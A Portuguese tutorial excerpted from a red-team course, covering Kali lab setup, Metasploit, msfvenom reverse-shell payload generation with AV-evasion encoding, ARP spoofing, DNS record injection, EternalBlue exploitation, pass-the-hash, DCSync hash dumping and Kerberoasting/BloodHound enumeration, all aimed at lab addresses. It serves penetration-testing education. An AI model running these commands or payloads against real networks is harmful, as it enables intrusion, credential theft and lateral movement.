Network Security Red Team explicado de forma simples (com diagramas e código real)
Network Security Red Team: o essencial em um artigo — código real, diagramas e etapas concretas, extraídos de um curso de 39 lições.
Um guia direto ao ponto: Network Security Red Team dissecado com diagramas, exemplos concretos e comandos testados. Tudo vem de um curso estruturado de 11 capítulos — aqui está o melhor.
- Preparar seu laboratório Red Team
- Fundamentos de segurança de rede
- Reconhecimento e enumeração de rede
- Exploração e acesso inicial
- Movimento lateral e pivoting
Instalar Kali Linux e a infraestrutura de laboratório virtual
Ao final desta lição, você terá: instalado um hipervisor (VirtualBox ou VMware), implantado Kali Linux em uma VM corretamente isolada, configurado uma rede host-only para o laboratório, e verificado o funcionamento correto das ferramentas Red Team básicas.
1. Pré-requisitos de hardware
💾 Mínimo viável
⚡ Confortável
🏆 Ideal
No Windows:
systeminfo | findstr /i "Hyper-V" deve mostrar « Yes » para Virtualization Enabled in Firmware. Caso contrário, ative VT-x/AMD-V na BIOS/UEFI.2. Escolher seu hipervisor
| Hipervisor | Preço | SO hospedeiro | Vantagens | Desvantagens |
|---|---|---|---|---|
| VirtualBox 7.x | Grátis (GPL) | Win, macOS, Linux | Open-source, snapshots ilimitados, compatível com GOAD | Desempenho médio no Windows 11 |
| VMware Workstation Pro | Grátis (desde 2024) | Win, Linux | Muito rápido, NAT eficiente | Mais complexo para script |
| VMware Fusion Pro | Grátis (macOS) | macOS (Intel + Apple Silicon) | Suporte nativo ARM64 (M1/M2/M3) | Limitações no Apple Silicon (sem Win x86) |
| Hyper-V | Incluso no Win Pro | Windows 10/11 Pro | Desempenho nativo | Snapshots limitados, conflito com VBox |
| Proxmox VE | Grátis | Bare metal | Nível de produção, console web | Exige servidor dedicado |
VirtualBox pela simplicidade e portabilidade (Mac/Win/Linux), ou VMware Workstation Pro pelo desempenho. GOAD suporta ambos nativamente via Ansible.
3. Instalação do VirtualBox
No Windows
# Baixar em https://www.virtualbox.org/wiki/Downloads # Versão 7.0.x (estável) ou 7.1.x # Instalação silenciosa via winget winget install -e --id Oracle.VirtualBox # Verificar a instalação VBoxManage --version # Deve exibir: 7.0.x ou 7.1.x # Instalar o Extension Pack (USB 3.0, RDP, criptografia de disco) # Baixar Oracle_VM_VirtualBox_Extension_Pack-7.x.vbox-extpack VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-*.vbox-extpack
No macOS (Intel)
# Via Homebrew brew install --cask virtualbox brew install --cask virtualbox-extension-pack # Aprovar o kext em Preferências do Sistema > Segurança # (exige reinicialização)
No Linux (Ubuntu / Debian)
# Adicionar o repositório Oracle
wget -O- https://www.virtualbox.org/download/oracle_vbox_2016.asc | \
sudo gpg --dearmor -o /usr/share/keyrings/oracle-virtualbox-2016.gpg
echo "deb [arch=amd64 signed-by=/usr/share/keyrings/oracle-virtualbox-2016.gpg] \
https://download.virtualbox.org/virtualbox/debian $(lsb_release -cs) contrib" | \
sudo tee /etc/apt/sources.list.d/virtualbox.list
sudo apt update
sudo apt install -y virtualbox-7.0
# Verificar
VBoxManage --version4. Baixar Kali Linux
Kali Linux é a distribuição baseada em Debian dedicada à segurança ofensiva. Ela inclui nativamente mais de 600 ferramentas.
# Página oficial: https://www.kali.org/get-kali/ # Opção 1: VM VirtualBox pré-construída (RECOMENDADO) # Arquivo : kali-linux-2026.X-virtualbox-amd64.7z # Tamanho : ~3 GB # Vantagem: VBox Guest Additions já instalados # Opção 2: ISO instalador # Arquivo : kali-linux-2026.X-installer-amd64.iso # Tamanho : ~4 GB # Vantagem: controle total sobre a instalação # Opção 3: WSL (Windows Subsystem for Linux) # Vantagem: integração com Windows, leve # Desvantagem: sem Metasploit DB persistente fácil # Verificação de integridade (SEMPRE!) sha256sum kali-linux-2026.*-virtualbox-amd64.7z # Comparar com o valor publicado em kali.org
Espelhos maliciosos já distribuíram imagens Kali trojanizadas. Sempre verifique a assinatura SHA256 contra a publicada no site oficial.
5. Importar a VM Kali pré-construída
# 1. Descompactar o arquivo
7z x kali-linux-2026.X-virtualbox-amd64.7z
# 7zip travou? Instale: sudo apt install p7zip-full
# 2. Importar no VirtualBox (opção A: GUI)
# File > Import Appliance > selecionar o .vbox
# 3. Importar via CLI (opção B: script)
VBoxManage import kali-linux-2026.X-virtualbox-amd64/kali-linux-2026.X-virtualbox-amd64.vbox \
--vsys 0 --vmname "Kali-Red-Team" --cpus 4 --memory 6144
# 4. Listar as VMs
VBoxManage list vms
# Deve exibir: "Kali-Red-Team" {uuid}Configurações recomendadas antes do primeiro boot
VM="Kali-Red-Team" # Alocar 4 CPU e 6 GB RAM VBoxManage modifyvm "$VM" --cpus 4 --memory 6144 # Ativar área de transferência compartilhada bidirecional VBoxManage modifyvm "$VM" --clipboard-mode bidirectional --draganddrop bidirectional # Ativar aceleração de vídeo VBoxManage modifyvm "$VM" --vram 128 --graphicscontroller vmsvga --accelerate3d on # Desativar USB 1.0, ativar USB 3.0 VBoxManage modifyvm "$VM" --usb on --usbehci on --usbxhci on # Gerar um endereço MAC fixo (útil para snapshots de rede) VBoxManage modifyvm "$VM" --macaddress1 080027AA1010
Metasploit Framework — módulos de exploits de rede
Ao final desta lição, você saberá navegar no Metasploit Framework (msfconsole), selecionar os módulos de exploit de rede corretos, escolher um payload adequado, iniciar um handler e obter uma sessão Meterpreter em um alvo vulnerável do seu laboratório.
1. Por que Metasploit?
Metasploit Framework (MSF) é o framework de exploração mais usado no mundo. Ele reúne mais de 2.300 exploits, 1.500 payloads, 700 módulos auxiliares e 600 pós-explorações.
✅ Pontos fortes do Metasploit
⚠️ Limites a conhecer
Excelente para: pentest pedagógico, CVEs de rede clássicas (SMB, RPC, RCE web), pivoting básico. Menos adequado para: operações Red Team furtivas modernas (prefira Sliver, Mythic, Havoc).
2. Estrutura do Metasploit
/usr/share/metasploit-framework/ ├── modules/ │ ├── exploits/ # 2300+ exploits por OS / serviço │ ├── payloads/ # 1500+ payloads │ ├── auxiliary/ # Scanners, brute force, sniffers │ ├── post/ # Módulos pós-exploração │ ├── encoders/ # Ofuscação de payload (pouco eficaz contra AV) │ ├── nops/ # NOP sleds │ └── evasion/ # Módulos anti-AV └── data/ # Wordlists, templates
Categorias de módulos
| Tipo | Descrição | Exemplo |
|---|---|---|
| exploit | Código que explora uma vulnerabilidade | exploit/windows/smb/ms17_010_eternalblue |
| auxiliary | Scanners, fuzzers, brute force, DoS | auxiliary/scanner/smb/smb_login |
| payload | Código enviado após o exploit (shell, meterpreter) | windows/x64/meterpreter/reverse_https |
| post | Ações após sessão aberta | post/windows/gather/hashdump |
| encoder | Ofuscação do payload | x86/shikata_ga_nai |
| evasion | Bypass AV/Defender | windows/windows_defender_exe |
3. Primeiros passos no msfconsole
# 1. Iniciar o PostgreSQL (no boot) sudo systemctl start postgresql sudo msfdb init # uma única vez # 2. Iniciar msfconsole com base ativada msfconsole -q msf6 > db_status # [*] Connected to msf. Connection type: postgresql. # 3. Criar um workspace por missão (CRUCIAL) msf6 > workspace -a mission_lab msf6 > workspace # * mission_lab <- o asterisco = workspace ativo # 4. Importar um scan Nmap msf6 > db_import /tmp/enriched.xml msf6 > hosts msf6 > services -p 445 # 5. Buscar um módulo msf6 > search type:exploit eternalblue msf6 > search name:bluekeep platform:windows msf6 > search cve:2017-0144 # 6. Ajuda completa msf6 > help msf6 > info exploit/windows/smb/ms17_010_eternalblue
4. Anatomia de um exploit Metasploit
# Sequência padrão para EXECUTAR UM EXPLOIT msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(...) > show options msf6 exploit(...) > show targets msf6 exploit(...) > show payloads # Configurar as opções OBRIGATÓRIAS (Required: yes) msf6 exploit(...) > set RHOSTS 192.168.56.20 msf6 exploit(...) > set RPORT 445 # Escolher um payload adequado msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_https msf6 exploit(...) > set LHOST 192.168.56.10 # seu Kali msf6 exploit(...) > set LPORT 8443 # Verificar as opções msf6 exploit(...) > show options # (Opcional) verificar se o alvo é vulnerável msf6 exploit(...) > check # [+] 192.168.56.20:445 - The target is vulnerable. # Executar! msf6 exploit(...) > run # [*] Started HTTPS reverse handler on https://192.168.56.10:8443 # [*] Sending stage (203846 bytes) to 192.168.56.20 # [*] Meterpreter session 1 opened ... meterpreter >
5. Escolher o payload correto
Convenções de nomenclatura
windows/x64/meterpreter/reverse_https ^^^^^^^^^^^ ^^^^^^^^^^^^ ^^^^^^^^^^^^^ | OS+arch | Tipo | Transporte windows : Windows x64 : arquitetura 64 bits meterpreter : payload avançado (vs shell simples) reverse_https : conexão de saída criptografada para o atacante
Transportes principais
| Transporte | Direção | Furtividade | Quando usar |
|---|---|---|---|
reverse_tcp | Alvo → Atacante (porta customizada) | Baixa (tráfego suspeito) | Laboratório, porta de saída aberta |
reverse_https | Alvo → Atacante (443 criptografado) | Boa (TLS legítimo) | Rede corporativa padrão |
reverse_http | Alvo → Atacante (80) | Média (HTTP em claro) | Se HTTPS bloqueado |
bind_tcp | Atacante → Alvo (porta customizada) | Baixa (alvo escutando) | NAT reverso, alvo direto exp |
reverse_dns | Túnel via DNS | Muito boa (raro) | Rede ultra-segmentada |
reverse_winhttps | HTTPS via WinHTTP (cert pinning) | Excelente | Bypass proxy corporativo |
Em laboratório:
reverse_tcp na 4444 (rápido).Em missão interna:
reverse_https na 443 (passa firewalls/proxies).Se proxy corporativo:
reverse_winhttps que respeita as configurações do sistema.6. Multi/handler — receber sessões independentemente
O módulo multi/handler é um « recebedor genérico » que escuta payloads gerados separadamente (com msfvenom).
msf6 > use multi/handler msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_https msf6 exploit(multi/handler) > set LHOST 192.168.56.10 msf6 exploit(multi/handler) > set LPORT 443 msf6 exploit(multi/handler) > set ExitOnSession false msf6 exploit(multi/handler) > run -j # -j = job em segundo plano # Ver jobs ativos msf6 > jobs # Parar um job msf6 > jobs -k 1
Gerar um payload com msfvenom
# EXE Windows
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=192.168.56.10 LPORT=443 \
-f exe -o /tmp/payload.exe
# ELF Linux
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.10 LPORT=4444 \
-f elf -o /tmp/payload
# PowerShell one-liner
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=192.168.56.10 LPORT=443 \
-f psh-cmd
# Injeção DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.10 LPORT=4444 \
-f dll -o /tmp/payload.dll
# Shellcode bruto (para loader customizado)
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=192.168.56.10 LPORT=443 \
-f raw -o /tmp/shellcode.bin
# Codificado (Shikata Ga Nai para bypass simples de AV)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.10 LPORT=4444 \
-e x64/xor_dynamic -i 10 \
-f exe -o /tmp/encoded.exeProtocolos críticos para Red Team
Ao final desta lição, você conhecerá o funcionamento e as fraquezas exploráveis dos 7 protocolos fundamentais de uma rede corporativa Windows: ARP, DNS, SMB, LDAP, Kerberos, RDP e WinRM. Você saberá identificá-los no Wireshark e reconhecer quais ataques cada um permite.
1. ARP — o primeiro elo fraco
ARP (Address Resolution Protocol) traduz IP em MAC em uma LAN. Sem autenticação, é o alvo número 1 em uma rede interna.
# Ver o cache ARP local ip neigh show # ou arp -an # Envenenar o cache de um alvo (em laboratório) bettercap -iface eth1 > set arp.spoof.targets 192.168.56.20 > set arp.spoof.fullduplex true > arp.spoof on > net.sniff on # Ver o tráfego interceptado no Wireshark sudo wireshark -i eth1
Fraquezas ARP exploráveis
DAI (Dynamic ARP Inspection) em switches Cisco/HP, 802.1X, ARP estático para o gateway crítico, ou simplesmente criptografia ponta a ponta (TLS, VPN) que torna a interceptação inofensiva.
2. DNS — o diretório que fala demais
O DNS é usado não apenas para resolução de nomes, mas também revela a topologia do Active Directory via registros SRV.
# Encontrar o DC de um domínio via DNS
dig _ldap._tcp.dc._msdcs.lab.local SRV
dig _kerberos._tcp.lab.local SRV
dig _gc._tcp.lab.local SRV # Global Catalog
# Encontrar todas as máquinas de um domínio (Zone Transfer se autorizado)
dig @192.168.56.10 lab.local AXFR
# Reverse DNS em um /24
for ip in 192.168.56.{1..254}; do
host $ip 2>/dev/null | grep -v NXDOMAIN
done
# DNS dinâmico: registrar um nome falso (se autorizado em laboratório)
nsupdate -k /tmp/key.conf <<EOF
server 192.168.56.10
update add evil.lab.local 60 A 192.168.56.99
send
EOFAtaques DNS Red Team
| Ataque | Descrição | Ferramentas |
|---|---|---|
| Zone transfer (AXFR) | Se autorizado, dump completo da zona | dig, dnsenum |
| DNS cache poisoning | Envenenar o cache de um resolvedor | dnspoof, mitm6 |
| Enumeração de subdomínios DNS | Descobrir subdomínios (recon externo) | amass, subfinder, sublist3r |
| DNS tunneling C2 | Exfiltrar/controlar via consultas DNS | iodine, dnscat2 |
| Sequestro de registros NS | Assumir controle de um NS abandonado | nsec3walker |
3. SMB — a canivete suíço do Red Team
SMB (Server Message Block) = compartilhamento de arquivos, impressoras, execução remota, transporte para RPC. É O protocolo de ataque Windows.
# Enumeração: versão, SO, compartilhamentos, usuários crackmapexec smb 192.168.56.0/24 crackmapexec smb 192.168.56.10 -u jon.snow -p 'Winter2026!' --shares crackmapexec smb 192.168.56.10 -u '' -p '' --users # Null session # Listar compartilhamentos com smbclient smbclient -L //192.168.56.10/ -U jon.snow%'Winter2026!' # Conectar a um compartilhamento smbclient //192.168.56.10/Public -U jon.snow%'Winter2026!' smb: \> ls smb: \> get arquivo_secreto.txt # Montar o compartilhamento sudo mount -t cifs //192.168.56.10/Public /mnt/smb \ -o username=jon.snow,password='Winter2026!',vers=3.0
Ataques SMB emblemáticos
🏭 Pré-autenticação (sem credenciais)
🔐 Pós-autenticação (com credenciais)
# Testar um host para EternalBlue
nmap --script smb-vuln-ms17-010 -p 445 192.168.56.0/24
# Exploração com Metasploit (somente em laboratório)
msfconsole -q
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.56.20
msf6 > run
# Movimento lateral PSExec com hash NT (Pass-the-Hash)
impacket-psexec -hashes :32ED87BDB5FDC5E9CBA88547376818D4 \
administrator@192.168.56.10
# Dump de hashes (DCSync, requer direitos DA)
impacket-secretsdump lab.local/administrator:'Pass!'@192.168.56.10 -just-dc4. LDAP — o diretório transparente
LDAP (porta 389/636) expõe tudo o diretório AD: usuários, grupos, GPOs, OUs, ACLs. Uma simples autenticação de domínio geralmente basta para consultá-lo.
# Buscar usuários ldapsearch -x -H ldap://192.168.56.10 \ -D "jon.snow@lab.local" -w 'Winter2026!' \ -b "DC=lab,DC=local" -s sub "(&(objectClass=user)(objectCategory=person))" \ sAMAccountName description # Buscar contas Kerberoastable (com SPN) ldapsearch -x -H ldap://192.168.56.10 \ -D "jon.snow@lab.local" -w 'Winter2026!' \ -b "DC=lab,DC=local" "(&(samAccountType=805306368)(servicePrincipalName=*))" \ sAMAccountName servicePrincipalName # Buscar contas AS-REP roastable ldapsearch -x -H ldap://192.168.56.10 \ -D "jon.snow@lab.local" -w 'Winter2026!' \ -b "DC=lab,DC=local" "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" # Buscar o esquema (todas as classes) ldapsearch -x -H ldap://192.168.56.10 -b "CN=Schema,CN=Configuration,DC=lab,DC=local" cn
BloodHound: LDAP em grafo
# Coleta completa a partir do Kali
bloodhound-python -u jon.snow -p 'Winter2026!' -d lab.local \
-ns 192.168.56.10 -c All --zip
# Iniciar Neo4j e BloodHound GUI
sudo neo4j start
bloodhound
# Arraste e solte o .zip na interface
# Consulta: Shortest path to Domain Admins
# Consulta: Find Kerberoastable UsersEste artigo cobre os trechos mais úteis — o curso completo Network Security Red Team (11 capítulos, 39 lições, exercícios corrigidos e projeto final) leva você até o fim.
./acceder-au-cours-complet curso gratuito: Dominando o Claude CodeFAQ
Quanto tempo para aprender Network Security Red Team?
Precisa de pré-requisitos?
Por onde começar concretamente?
📬 Quer receber este tipo de guia toda semana? Inscreva-se gratuitamente — código real, zero enrolação.